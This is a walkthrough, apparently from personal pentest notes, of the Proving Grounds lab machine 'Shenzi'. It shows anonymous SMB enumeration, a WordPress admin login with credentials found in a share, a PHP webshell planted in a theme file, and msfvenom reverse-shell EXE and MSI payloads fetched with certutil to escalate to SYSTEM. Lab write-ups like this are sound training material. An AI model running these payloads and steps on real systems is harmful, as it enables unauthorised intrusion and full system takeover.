fg0x0's notes
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
      • 🛡️Active Directory ( OSCP )
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
      • 🏴‍☠️Warm UP
        • 🐧ClamAV
        • 🪟Algernon
        • 🪟Helpdesk
      • 🏴‍☠️Get to Work
        • 🪟Hutch
        • 🪟Jacko
        • 🪟Shenzi
        • 🪟Slort
        • 🐧Postfish
        • 🐧Pelican
        • 🐧Quackerjack
        • 🐧Snookums
        • 🐧Sorcerer
        • 🐧Walla
        • 🐧ZenPhoto
        • 🐧Zino
      • 🏴‍☠️Try Harder
        • 🐧Peppo
        • 🐧Sirol
      • 🏴‍☠️Retired Play Machines
  • 🚩Red Team
    • ☢️Active Directory Exploitation
      • ⚔️Domain Enumeration
      • ⚔️Local Privilege Escalation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
      • ⚔️XSS (Cross-Site Scripting)
      • ⚔️Remote File Inclusion
      • ⚔️HTML smuggling
    • 💀Binary Exploitation
      • ⚔️Buffer Overflow
      • ⚔️Return Oriented Programming ( ROP )
      • ⚔️Binary Security
      • ⚔️Format String Vulnerability
      • ⚔️Registers
    • ☠️Exploit Development
      • ⚔️Macro Shellcode
      • ⚔️Payloads
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
      • ⚔️OpenSSL
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
      • 🏴HZ-2018
        • ⚔️Final-Shao Kahn
      • 🏴HZ-2019
        • ⚔️Final-Уртасгасан-Хээээээээээээээээш
        • ⚔️Final-Skywalker-sage-info
        • ⚔️Round-1-Very Secure LDAP
        • ⚔️Round-1-Web Warmup
      • 🏴HZ-2020
        • ⚔️Round-1-websploit1
        • ⚔️Round-1-websploit2
        • ⚔️Round-1-websploit3
      • 🏴HZ-2021
        • ⚔️Final-Screenshot 1,2
        • ⚔️Final-Orb
      • 🏴HZ-2022
        • ⚔️HZ-2022-Final-You Have Been Hacked
        • ⚔️HZ-2022-Final-Breaking News
        • ⚔️HZ-2022-Final-Todo
        • ⚔️HZ-2022-Final-Subway Surfers
        • ⚔️HZ-2022-Round-2-Spike-Boom-!!!
      • 🏴HZ-2023
        • 👻Round-1
        • 👻Round-2
        • 👻Round-3
          • 🦆Ducky Notes
          • 🚋Aylagch
          • 🔻Web Downchecker
          • 🔑Password Manager
      • 🐣HZ-U18-2023
        • 🔍Forensics
        • ☄️Trivia
        • 🕸️Web
        • 🔢Crypto
        • 🌏Misc
      • 🏴HZ-2024
        • Round-1
          • M4th
        • Round-2
          • Enigma
        • Final-Round
          • 💀heavy one ( forensics )
    • 🏴‍☠️Other CTF
      • 🏜️Shambala-2056
        • 🇦🇷Argentina-PWN (pwn1)
        • 🇪🇬Egypt-Forensics (spectre)
      • 🏴‍☠️SICT CTF
        • 🎮null
      • 🌏Asian Cyber Security Challenge
        • 🌏ACSC ( 2023 )
          • 🏴‍☠️Merkle Hellman ( Cryptography )
          • 🏴‍☠️easySSTI ( Web Exploitation )
          • 🏴‍☠️Hardware is not so hard
  • 🧊HackTheBox
    • 🪟Windows Machine
      • 🤕Support
      • ❌Escape
      • ✈️Flight
      • ☢️Active
    • 🐧Linux Machine
    • ☠️Other Platform Machines
      • ⚔️HMV-Alzheimer
      • ⚔️HMV-BaseME
      • ⚔️HMV-doc
    • Web Exploitation
      • 👽Flask SSTI
        • Templated
        • baby interdimensional internet
        • 👽baby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
        • 👽Phonebook ( LDAP Injection )
        • sanitize ( SQL Injection )
        • Weather app ( SQL Injection )
        • Intergalactic Post ( php filter SQLi )
        • C.O.P ( SQL injection + Revshell )
      • 💥Prototype Pollution
        • ☠️baby breaking grad
      • 😵‍💫insecure deserialization
        • 👽baby website rick ( insecure deserialization )
      • XSS
        • 👽Full Stack Conf (Cross-Site Scripting)
        • AbuseHumandb ( XSS Puppeteer )
        • Kryptos Support ( XSS+IDOR )
        • Felonious Forums ( XSS, Cache Poison, Directory Traversal )
      • 👾Symfony
        • 💀baby bonechewercon ( Symfony )
      • 👥XXE
        • 🤙baby WAFfles order
      • Ping submit hiideg
        • Looking Glass ( Ping )
      • RCE
        • LoveTok ( RCE )
        • Neonify ( RCE )
        • Amidst Us ( image+RCE )
        • Letter Despair ( PHP + RCE )
        • Debugger Unchained ( SQLi+RCE )
      • LFI
        • toxic ( LFI )
      • File Upload
        • petpet rcbee ( file upload )
      • URL submit hiideg
        • baby CachedView ( URL submit hiideg )
      • Invoice ilgeedeg
        • Blinker Fluids
      • HTTP2 smuggling
        • PhishTale ( HTTP2 smuggling, Twig N-Day )
    • Forensics
  • 💀Synack Red Team
    • ☠️DC-1 ( kh )
    • ☠️DC-2 ( kh )
    • ☠️DC-3 ( kh )
  • dursamj
Powered by GitBook
On this page
  1. offensive-security
  2. PG-Practice
  3. Get to Work

Shenzi

PreviousJackoNextSlort

Last updated 1 year ago

Nmap

sudo nmap 192.168.235.55 -p- -sV -sS 

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FileZilla ftpd 0.9.41 beta
80/tcp   open  http          Apache httpd 2.4.43 
((Win64) OpenSSL/1.1.1g PHP/7.4.6)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.43 (
(Win64) OpenSSL/1.1.1g PHP/7.4.6)
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
5040/tcp open  unknown

As SMB is open we can run smbclient with no credentials to see if we can connect.

smbclient -U ''  -L \\\\192.168.235.55\\ 

After running the above command smbclient returns results showing a share called 'Shenzi'. We can connect to the share and then view the contents with the dir command.

smbclient -U ''  \\\\192.168.235.55\\Shenzi 

From here I set the recurse command and prompt off before downloading all files for an easy single line download.

The contents of passwords.txt of course proved to be interesting.

Out of all of the credentials above the WordPress one was potentially the most interesting considering further checks for phpmyadmin and webdav showed either the services are not running or inaccessible outside of local access on the target machine.

Running dirsearch.py against port 80 showed no interesting directories discovered.

Knowing that Wordpress is potentially installed and that Wordpress sites do not generally have to exist in the directory of /wordpress/ I tried the Machine and SMB share name of Shenzi on port 80.

Heading over to Appearance > Theme editor I was able to edit the contents of the 404.php file and insert a webshell.

From here I created a msfvenom reverse shell:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.235 LPORT=8082 -f exe > /home/kali/windows/reverseshell.exe

Uploaded the file with the PHP web shell and set a netcat listener on port 21. After uploading the shell through the web shell I then executed and received a shell back.

After some initial enumeration I was unable to find anything interesting. I then turned to winpeas look for any quick wins. Shortly after running, I came into:

With this, we can create a malicious MSI file with msfvenom and when executed will be run in the context of SYSTEM.

First, create a reverse shell MSI.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.235 LPORT=21 -f msi > /home/kali/windows/priv.msi

Then set up a netcat listener on the attacking machine. Then using certutil.exe I downloaded the MSI and executed it.

Then received a shell on the listener as SYSTEM.

Now that we have a valid WordPress site and some credentials we can try logging in. Heading over to I was able to log in with the credentials of admin:FeltHeadwallWight357

After saving changes and browsing to we can see we now have a webshell and confirmed command execution.

👾
🌌
🏴‍☠️
🪟
http://192.168.235.55/shenzi/wp-admin/
http://192.168.235.55/shenzi/404.php